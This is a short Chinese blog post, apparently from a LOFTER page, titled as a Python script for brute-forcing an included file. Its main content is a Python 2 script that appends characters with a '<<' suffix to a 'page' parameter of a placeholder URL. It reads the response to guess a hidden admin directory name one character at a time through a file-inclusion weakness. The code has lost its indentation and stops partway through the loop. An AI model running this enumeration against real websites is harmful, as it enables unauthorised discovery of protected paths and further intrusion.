D0g

我愿乘风破浪,踏遍黄沙海洋

©D0g
Powered by LOFTER
 

python暴力猜解包含文件

#coding=utf-8
import requests
import re

admindir = ""
needrunning = 1
checklst = "h0123456789qwertyuiopasdfgjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
url = "http://XXX.XXX.XXX/includefile/?page="
while needrunning:
for i in list(checklst):
checkurl = url + admindir + i + "<<"
print "[%s] checking %s \r" % (admindir, admindir + i),
html=requests.get(checkurl).content
if not re.search("not exists", html):
admindir += i